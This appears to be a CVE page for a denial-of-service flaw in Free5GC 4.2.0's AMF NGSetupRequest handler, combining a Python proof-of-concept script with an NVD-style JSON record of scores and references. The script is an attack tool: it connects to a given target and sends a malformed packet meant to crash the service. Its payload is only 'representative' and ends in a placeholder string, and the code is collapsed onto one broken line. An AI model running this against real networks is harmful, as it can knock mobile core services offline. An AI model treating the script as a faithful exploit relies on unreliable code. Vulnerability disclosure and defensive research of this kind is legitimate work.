CVE-2026-5661

import socket # Exploit Title: Free5GC 4.2.0 NGSetupRequest Handler DoS PoC # Description: Sends a malformed packet to trigger the vulnerability # Usage: python3 poc.py <target_ip> <target_port> import sys def send_malicious_packet(target_ip, target_port): try: # Establish connection to the Free5GC AMF interface s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, int(target_port))) # Crafted malformed payload targeting NGSetupRequest Handler # This is a representative buffer to trigger the parsing flaw payload = b"\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x18\x00\x0e\x00\x00MALICIOUS_DATA_OVERFLOW" s.send(payload) print(f"[+] Payload sent to {target_ip}:{target_port}") print("[+] Check if the service has crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <IP> <PORT>") else: send_malicious_packet(sys.argv[1], sys.argv[2])

{"cve": {"id": "CVE-2026-5661", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:15.960", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Free5GC 4.2.0. This affects an unknown function of the component NGSetupRequest Handler. Such manipulation leads to denial of service. The attack may be launched remotely. The exploit is publicly available and might be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}]}], "references": [{"url": "https://github.com/free5gc/amf/pull/201", "source": "[email protected]"}, {"url": "https://github.com/free5gc/free5gc/", "source": "[email protected]"}, {"url": "https://github.com/free5gc/free5gc/issues/832", "source": "[email protected]"}, {"url": "https://github.com/user-attachments/files/25581199/amfcfg.yaml", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/785896", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355485", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355485/cti", "source": "[email protected]"}]}}